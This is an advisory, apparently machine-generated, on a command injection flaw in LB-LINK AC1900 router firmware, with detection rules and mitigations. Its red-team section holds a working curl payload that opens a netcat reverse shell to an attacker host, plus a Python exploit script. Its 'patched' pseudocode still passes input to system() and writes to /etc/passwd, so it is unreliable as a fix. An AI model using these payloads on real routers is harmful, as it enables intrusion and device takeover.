CVE-2025-1608

Executive Summary

CVE-2025-1608 is a critical OS command injection vulnerability in the LB-LINK AC1900 Router firmware version 1.0.2. The flaw resides in the /goform/set_manpwd endpoint, specifically within the websGetVar function, where the routepwd argument is not sanitized before being passed to a system command. An unauthenticated attacker can exploit this remotely to execute arbitrary operating system commands with root privileges, leading to full device compromise. The exploit has been publicly disclosed, and no patch is available from the vendor, who has not responded to disclosure attempts. This vulnerability poses a severe risk to all affected devices, enabling attackers to pivot into internal networks, exfiltrate data, or use the router as a botnet node.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full access to device files and network traffic.
• Integrity Impact: High (I:H) – Ability to modify firmware, settings, or inject malicious code.
• Availability Impact: High (A:H) – Can render the device inoperable or disrupt network services.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat for any organization using LB-LINK AC1900 routers.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the web management interface of the LB-LINK AC1900 router. The endpoint /goform/set_manpwd is used to change the administrator password. The websGetVar function retrieves the routepwd parameter from the HTTP POST request. This parameter is then concatenated directly into a shell command without any sanitization or escaping.

Root Cause: The lack of input validation on the routepwd parameter allows an attacker to inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Attack Flow:

1. An attacker sends a crafted HTTP POST request to http://<router-ip>/goform/set_manpwd with a malicious routepwd value.
2. The router's web server processes the request and passes the unsanitized input to a system call (e.g., system(), popen(), or exec()).
3. The injected command is executed with the privileges of the web server, typically root.
4. The attacker can then execute any command, such as spawning a reverse shell, downloading malware, or modifying device configuration.

Example Payload:

routepwd=admin123;reboot

This would change the password to admin123 and then reboot the router.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.0.2):

// Pseudocode of the vulnerable function
void set_manpwd_handler() {
    char *routepwd = websGetVar("routepwd");
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /etc/passwd", routepwd);
    system(cmd);
}

Patched Code (Hypothetical):

// Pseudocode of a secure implementation
void set_manpwd_handler() {
    char *routepwd = websGetVar("routepwd");
    // Validate input: only allow alphanumeric and specific characters
    if (!is_valid_password(routepwd)) {
        return_error("Invalid password");
        return;
    }
    // Use parameterized command or escape input
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /etc/passwd", escape_shell_arg(routepwd));
    system(cmd);
}

Key Differences:

• Input Validation: The patched version validates the password format before use.
• Escaping: The patched version escapes shell metacharacters using a dedicated function.
• No Patch Available: The vendor has not released a patched firmware, so all devices remain vulnerable.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable LB-LINK AC1900 router on the same network.
• A tool like curl, netcat, or a Python script.

Exploit Steps:

1. Identify the router's IP address (e.g., 192.168.1.1).
2. Send a crafted POST request to execute a command. For example, to spawn a reverse shell:

   curl -X POST http://192.168.1.1/goform/set_manpwd \
     -d "routepwd=admin123;nc -e /bin/sh 192.168.1.100 4444"
   

3. On your attacker machine, listen for the reverse shell:

   nc -lvnp 4444
   

Python Exploit Script:

import requests

target = "http://192.168.1.1"
payload = "admin123;id > /tmp/exploit.txt"

data = {"routepwd": payload}
response = requests.post(f"{target}/goform/set_manpwd", data=data)

print(f"Status: {response.status_code}")
print("Check /tmp/exploit.txt on the router for command output.")

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /goform/set_manpwd with suspicious parameters.
• Look for shell metacharacters (;, |, &, `, $()) in the routepwd field.
• Alert on outbound connections from the router to unusual IPs/ports (e.g., reverse shell attempts).

Mitigation:

• Isolate affected routers on a separate VLAN with strict egress filtering.
• Disable remote management if not required.
• Implement a Web Application Firewall (WAF) rule to block malicious payloads.
• Monitor for known exploit patterns using the Sigma rule below.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/set_manpwd with shell metacharacters in the routepwd parameter.
• Outbound connections from the router to unusual IP addresses on ports like 4444, 1337, or 31337.
• DNS queries to known malicious domains or IPs associated with botnets.

File IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/exploit.txt, /tmp/.backdoor).
• Modified /etc/passwd or /etc/shadow files.
• Presence of common backdoor binaries (e.g., nc, bash, perl).

Behavioral IOCs:

• Router rebooting unexpectedly.
• Unusual traffic patterns from the router (e.g., scanning internal networks).
• Changes to administrative credentials without authorized access.

Detection Engineering

YARA Rule

rule CVE_2025_1608_LBLINK_AC1900 {
    meta:
        description = "Detects exploit attempts for CVE-2025-1608 in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1608"
    strings:
        $s1 = "/goform/set_manpwd" ascii wide nocase
        $s2 = "routepwd=" ascii wide nocase
        $s3 = /routepwd=[^&]*[;&|`$()]/
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2025-1608 Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /goform/set_manpwd with shell metacharacters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1608
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/goform/set_manpwd"
        cs-uri-query|re: "routepwd=[^&]*[;&|`$()]"
    condition: selection
falsepositives:
    - Legitimate password changes with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1608 LB-LINK AC1900 OS Command Injection"; flow:to_server; content:"POST"; http_method; content:"/goform/set_manpwd"; http_uri; content:"routepwd="; http_client_body; pcre:"/routepwd=[^&]*[;&|`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Devices: Place all LB-LINK AC1900 routers on a separate VLAN with no access to critical internal systems.
2. Disable Remote Management: If remote administration is not essential, disable it via the router's web interface or firewall rules.
3. Monitor for Exploitation: Deploy the provided YARA, Sigma, and Suricata rules to detect exploit attempts.

Long-Term Solutions:

• Vendor Contact: Continue attempting to contact the vendor for a firmware patch. If unresponsive, consider replacing the device with a supported alternative.
• Network Segmentation: Implement strict network segmentation to limit the blast radius of a compromised router.
• Firmware Replacement: If possible, flash the device with an open-source firmware like OpenWrt (if supported) to replace the vulnerable web interface.

Workarounds:

• Web Application Firewall (WAF): Deploy a WAF rule to block requests containing shell metacharacters in the routepwd parameter.
• Custom Firewall Rule: Block outbound connections from the router to the internet except for essential services (e.g., NTP, DNS).

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or support, contact: security@valters-it.com